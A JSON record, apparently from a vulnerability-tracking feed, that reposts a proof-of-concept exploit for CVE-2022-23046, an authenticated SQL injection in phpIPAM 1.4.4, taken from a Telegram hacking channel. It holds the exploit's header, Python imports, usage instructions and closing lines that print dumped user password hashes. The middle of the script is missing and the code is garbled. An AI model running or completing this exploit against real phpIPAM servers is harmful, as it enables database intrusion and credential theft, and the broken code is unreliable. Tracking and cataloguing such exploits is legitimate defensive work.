{"uuid": "3aa51c4c-672d-4658-9344-2f5c4fc43331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40154", "content": "Exploit Collector\nPHPIPAM 1.4.4 SQL Injection\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nPHPIPAM version 1.4.4 suffers from an authenticated remote SQL injection vulnerability.\n\nMD5 | 4b8d5d6218feb96b1ddd63205a5b1750\n\nDownload\n# Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)\n# Google Dork: [if applicable]\n# Date: 20/01/2022\n# Exploit Author: Rodolfo \"Inc0gbyt3\" Tavares\n# Vendor Homepage: https://github.com/phpipam/phpipam\n# Software Link: https://github.com/phpipam/phpipam\n# Version: 1.4.4\n# Tested on: Linux/Windows\n# CVE : CVE-2022-23046\n\nimport requests\nimport sys\nimport argparse\n\n################\n\"\"\"\nAuthor of exploit: Rodolfo 'Inc0gbyt3' Tavares\nCVE: CVE-2022-23046\nType: SQL Injection\n\nUsage:\n\n$ python3 -m pip install requests\n$ python3 exploit.py -u http://localhost:8082 -U  Users and hash passwords: \\n\\n{r.text}\")\nprint(\"\\n\\n> DONE \nexcept Exception as e:\nprint(f\"[-] {e}\")\nif __name__ == '__main__':\nexploit_sqli()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T12:00:05.804127Z"}